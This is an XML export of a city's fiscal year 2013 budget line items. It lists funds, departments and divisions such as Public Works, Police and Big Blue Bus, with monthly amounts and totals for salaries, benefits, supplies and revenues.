<row _id="3488"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12167.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12167.0</total></row>
<row _id="3489"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>82327.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>823</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>83150.0</total></row>
<row _id="3490"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3365.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3365.0</total></row>
<row _id="3491"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2317.0</july><august>0</august><september>0.0</september><october>75.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2392.0</total></row>
<row _id="3492"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3779.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3779.0</total></row>
<row _id="3493"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>24900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24900.0</total></row>
<row _id="3494"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6948.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6948.0</total></row>
<row _id="3495"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>23235.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>232</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23467.0</total></row>
<row _id="3496"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6090.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>153</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6243.0</total></row>
<row _id="3497"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>553011.0</object><object_description>OTS SOBRIETY CHECKPOINT 2012</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>2000.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="3498"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577762.0</object><object_description>CDBG REIMB-PUBLIC WORKS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>65000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>65000.0</total></row>
<row _id="3499"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408390.0</object><object_description>REAL BEACH PKG FED GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-879000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>346000.0</march><april>0</april><may>0</may><june>0.0</june><total>-533000.0</total></row>
<row _id="3500"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>404870.0</object><object_description>1665 OCEAN AVE PKG LOT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-8400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>8400</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3501"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402460.0</object><object_description>TENANT UTILITIES PAYMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-108930.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-108930.0</total></row>
<row _id="3502"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401400.0</object><object_description>UTILITY EXCAVATION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-87916.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-87916.0</total></row>
<row _id="3503"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>533420.0</object><object_description>ENGINEERING-TRANS OUT TO 01 FD</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>226625.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>226625.0</total></row>
<row _id="3504"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544016.0</object><object_description>ANALYTICAL INSTR CONSUMABLES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="3505"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544014.0</object><object_description>FILTER MEDIA REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50555.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50555.0</total></row>
<row _id="3506"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>292998.0</july><august>-56386</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4982</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>241594.0</total></row>
<row _id="3507"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="3508"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>518.0</july><august>-104</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>413.0</total></row>
<row _id="3509"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="3510"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>549208.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>549208.0</total></row>
<row _id="3511"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5846.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5846.0</total></row>
<row _id="3512"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>29500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29500.0</total></row>
<row _id="3513"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>370.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>370.0</total></row>
<row _id="3514"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>313.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="3515"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="3516"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15127.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>151</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15278.0</total></row>
<row _id="3517"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1984.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1984.0</total></row>
<row _id="3518"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8096.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>81</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8177.0</total></row>
<row _id="3519"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>34846.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>34846.0</total></row>
<row _id="3520"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>405580.0</object><object_description>GILLETTE SETTLEMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-2433175.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2433175</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3521"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>406000.0</object><object_description>ESTIMATED USER FEE INCREASES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3522"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>408360.0</object><object_description>SUCCESSOR AGENCY ADMIN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-840612.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>840612</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3523"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579002.0</object><object_description>DISCRET-BID FUNDING INCRE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="3524"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>410130.0</object><object_description>OTHER PROF SVCS PROVIDED</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-2536.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2536.0</total></row>
<row _id="3525"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>50204</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50204.0</total></row>
<row _id="3526"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>53</fund_id><fund_name>Parks and Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>-1000.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="3527"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>578841.0</object><object_description>JUSTICE ASSIST GRANT 2013-OT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>29283</april><may>0</may><june>0.0</june><total>29283.0</total></row>
<row _id="3528"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>26122</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26122.0</total></row>
<row _id="3529"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>375</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>375.0</total></row>
<row _id="3530"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>523010.0</object><object_description>ENVIRONMENTAL SERVICES FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2600.0</total></row>
<row _id="3531"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>533710.0</object><object_description>SOFTWARE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="3532"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="3533"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2608.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-438</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2170.0</total></row>
<row _id="3534"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1841.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-284</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1557.0</total></row>
